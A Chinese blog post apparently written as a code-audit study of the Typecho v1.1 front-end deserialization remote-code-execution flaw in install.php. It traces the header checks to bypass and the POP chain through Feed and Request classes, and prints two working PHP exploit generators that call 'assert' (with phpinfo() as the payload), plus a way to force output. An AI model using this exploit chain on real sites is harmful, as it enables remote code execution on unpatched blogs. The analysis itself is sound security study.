Typecho v1.1反序列化前台getshell漏洞分析

前言

什么是反序列化漏洞?

  • PHP反序列化漏洞是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。漏洞形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成任意文件读取、代码执行、getshell等一系列不可控的严重后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但原理基本相通。
  • 具体介绍参考下篇文章。

漏洞介绍

1.Typecho是一个由中国团队开发的开源跨平台博客程序。它基于PHP5构建,并支持多种操作系统(Linux,Unix,BSD,Windows)、 服务器(Apache,Lighttpd,IIS,Nginx)和数据库(Mysql,PostgreSQL,SQLite)。
2017年10月13日,Typecho爆出前台代码执行漏洞,这是一个3年前的漏洞了,但是还是很经典的,因为最近再学习PHP代码审计,这里我主要从代码层简单分析一下该漏洞,大家多多指教。

在这里插入图片描述
2.该漏洞主要触发点在install.php文件,在install.php文件的第232行存在unserialize()反序列化函数,这里通过Typecho_Cookie类的get()方法获取的__typecho_config参数没有经过任何过滤,便进行了反序列化操作,那么这里利用这个点就可以进行反序列化攻击。
在这里插入图片描述
3.造成该漏洞的原因主要有两点:
(1)install.php代码逻辑有问题,当 config.inc.php 文件存在时,可绕过判断继续往下执行代码,当网站安装成功之后,如果install.php这个文件没有删除的话,攻击者就可以通过访问install.php继续执行该文件中的操作。
(2)install.php代码中存在unserialize()函数,并且传入反序列化函数的参数可控。

漏洞分析

1.首先这里我从install.php文件入手进行分析,如果我们要将恶意数据从install.php文件传入到漏洞点,首先需要绕过文件首部的验证。
在这里插入图片描述
(1)文件首部会通过GET请求方式获取finish参数,如果没有此参数程序将立马结束,所以这里可通过GET请求传递 finish=任意值绕过。
(2)第二个if判断,判断是否有GET或者POST传参
(3)第三个和第四个if判断,判断Referer是否为空,程序为了阻挡跨站脚本攻击,会验证是否传入referer,如果没有referer头,程序将立马结束。这里使用parse_url()函数解析Referer值,会返回一个关联数组,$parts[‘port’]指的是 [referer : http://localhost/install.php] 中的链接端口80,$parts[‘host’]指的是localhost。
(4)第五个if判断,这里判断http的host头字段和$parts[‘host’]字段必须相等,不然会退出程序,所以访问install.php的文件时,也需要带上本站任意referer值。

2.继续向下分析代码,在下面第203行还有判断,首先这里传入不同的参数,会进入不同的安装步骤,继续向下分析,第213行,判断 $_GET[‘finish’] 是否设置,然后判断 config.inc.php文件是否存在,程序安装后已存在,第221行,判断cookie中 __typecho_config 参数是否设置,如果已设置,则进入else分支,也就是可以去进行反序列化操作了。
在这里插入图片描述

3.继续查看Typecho_Cookie类下的get方法,这里是对Cookie或者是POST传过来的数据进行过滤,就是简单的判断是从POST取出数据还是Cookie中取出数据。(这里不管是POST请求传输$key变量,还是Cookie传输$key变量,都可以,$key就是__typecho_config参数)
在这里插入图片描述

4.综上,这里我们构造如下这样的数据包即可:
在这里插入图片描述
5.接下来,就是开始思考如何利用这个反序列化过程了,其实反序列化过程本身是没有问题的,如果攻击者通过结合一些魔术方法进行利用的话,就可能产生非常严重的后果,常见的魔术方法如下:

__destruct()   类的析构函数,创建对象时调用
__construct()  类的构造函数,对象销毁时调用
__toString()   把类当做字符串使用时调用
__wakeup()     使用unserialize函数时调用
__sleep()	   使用serialize函数时调用

6.接下来看一下代码触发条件,在install.php文件,第230行反序列化完成以后赋值给$config变量,紧接着第232行,将 $config[‘adapter’] 和 $config[‘prefix’] 作为 Typecho_Db 类的初始化变量创建类实例对象。在这里插入图片描述
7.全局搜索Typecho_Db类,可以在/var/Typecho/Db.php 文件中找到该类的构造函数,分析可以发现,对传入的 $adapterName 变量进行了字符串拼接操作,对于PHP而言,如果 $adapterName 类型为对象,则会调用该类 __toString() 魔术方法。这里可作为反序列化漏洞利用的一个触发点,我们全局搜索一下 __toString() ,查看是否有可利用的点。
在这里插入图片描述
8.这里通过全局搜索发现三处__toString()函数:
在这里插入图片描述
(1)第一处,Config.php文件,使用了serialize函数,这里会自动触发__sleep()函数,可以继续全局查找__sleep()函数,看是否可以利用。
在这里插入图片描述
(2)第二处,Feed.php文件,在代码第290行 , $item[‘author’]->screenName ,假设 $item[‘author’] 中存储的类没有screenName属性或该属性为私有属性时,此时会触发该类中的__get() 魔法方法,这个可作为进一步利用的点。
在这里插入图片描述
(3)第三处,Query.php文件,该方法用于构建SQL语句,并没有执行数据库操作,所以暂无利用价值,这里就不贴代码了,有兴趣可以自己去分析看看。

9.继续从(2)开始进行分析,全局搜索__get()函数,可以在/var/Typecho/Request.php 文件中找到__get()方法,发现这里调用get()函数。
在这里插入图片描述
10.然后再跟进_applyFilter()函数。

在这里插入图片描述
11.在_applyFilter()函数这里,发现了array_map() 和 call_user_func() 回调函数,可以作为利用点,$filter 可作为调用函数,$value 为函数参数,且这两个变量都来源于类变量,是通过反序列化可控的。

在这里插入图片描述
12.接下来回溯整个利用链,install.php中unserialize()内容可控==>install.php实例化了一个Typecho_Db对象,其中$adapterName变量这里,会拼接变量,可调用魔术方法__toString==>Feed.php执行__toString()的时,在获取screenName的时候调用了__get()方法==>Request.php中__get()中调用的get(),其中执行了_applyFilte函数==> Request.php中的_applyFilter()中使用了call_user_func()和array_map()函数,该回调函数可导致代码执行漏洞。
在这里插入图片描述
13.构造利用POC代码如下:

<?php
class Typecho_Request
{
	private $_params = array();
	private $_filter = array();
	public function __construct()
    {
    	$this->_params['screenName'] = 'phpinfo()';  
    	$this->_filter[0] = 'assert';
    }
}
class Typecho_Feed
{
    const RSS2 = 'RSS 2.0';
    private $_type;
    private $_items = array();
	public function __construct()
    {
    	$this->_type = $this::RSS2;  
    	$this->_items[0] =array(
            'author' => new Typecho_Request(),   //当screenName属性不存在时,调用__get()
    	);
    }    
}
$obj = new Typecho_Feed();
$a = array(
	'adapter' => $obj,   //当$config['adapter']为对象时,调用__toString()
	'prefix' => 'typecho_'
	 );
echo base64_encode(serialize($a));
?>

注意,这里为什么要加$this->_type = $this::RSS2;这样一句话,是因为当满足如下这个else if这个条件之后,才能进入后面的操作:
在这里插入图片描述

14.首先生成payload:
在这里插入图片描述

进行利用,发现这里返回的是500,POC代码有问题。
在这里插入图片描述
15.为什么会发生错误呢?
回顾代码,我们可以发现install.php在代码 第54行 调用 ob_start() 函数,该函数会对输出内容进行缓冲:
在这里插入图片描述
反序列化漏洞利用结束后,在\var\Typecho\Db.php代码121行,会触发异常,在 \var\Typecho\Common.php 代码237行有一个捕获程序异常的函数,这里调用了 ob_end_clean()函数 清除了缓冲区内容,导致无法看见执行结果。
在这里插入图片描述
也就是说使用POC执行会导致触发异常,如果触发程序异常,程序虽是执行完成的,但是不会正常输出结果,ob_end_clean()函数 会将缓冲区的内容进行丢弃。

因此,我们必须想一个办法让程序强制退出,这个时候也会直接输出缓冲区的内容,并且不会执行到exceptionHandle()函数,这样原本的缓冲区数据就会被输出出来。
这里我们可以想个办法,在代码执行之后,想办法造成一个报错,语句就会强制停止,这样缓冲区中的数据仍然会被输出出来。

16.如下图所示,在Feed.php中__toString方法中第293行,可以给item[‘category’]赋值上对象,让其用数组的方式遍历对象时触发错误,强制退出程序。
在这里插入图片描述
17.那么这样整个POP链就完整了,这时就可以构造如下POC。

<?php
class Typecho_Request
{
	private $_params = array();
	private $_filter = array();
	public function __construct()
    {
    	$this->_params['screenName'] = 'phpinfo()';
    	$this->_filter[0] = 'assert';
    }
}
class Typecho_Feed
{
    const RSS2 = 'RSS 2.0';
    private $_type;
    private $_items = array();
	public function __construct()
    {
    	$this->_type = $this::RSS2;
    	$this->_items[0] =array(
            'author' => new Typecho_Request(),
            'category' => array(new Typecho_Request()), //这句话在实际利用没必要添加,这里只是为了能够强制退出程序。
    	);
    }    
}
$obj = new Typecho_Feed();
$a = array(
	'adapter' => $obj,
	'prefix' => 'typecho_'
	 );
echo base64_encode(serialize($a));
?>

18.继续利用,如下,可以发现能够利用成功了。
在这里插入图片描述

漏洞防御

反序列化漏洞防御方式和其他漏洞防御方式一样,最好的预防措施就是不要把用户的输入或者是用户可控的参数直接放进反序列化的操作中去。

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Typecho Docker是使用Docker技术来部署和运行Typecho博客平台的一种方法。首先,我们需要拉取Typecho镜像,可以使用以下命令:docker pull 80x86/typecho。拉取镜像完毕后,我们可以创建一个Typecho容器来测试博客平台的运行,可以使用以下命令:docker run -d -p 90:80 --name="typecho" 80x86/typecho。接下来,可以按照《云原生之Docker实战》中的步骤进行环境配置和安装Typecho。首先,需要创建数据挂载目录,并确保镜像支持。然后,可以安装Typecho并进行初始环境配置。最后,可以通过设置界面外观、查看访问效果和查看插件列表等方式进行Typecho的基本使用。最后,可以测试博客效果以确认Typecho在Docker中的运行情况。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [利用Docker从零搭建Typecho博客并启用TLS](https://blog.csdn.net/zt06081108/article/details/115555924)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *3* [【云原生之Docker实战】使用Docker部署Typecho个人博客平台](https://blog.csdn.net/jks212454/article/details/126107261)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值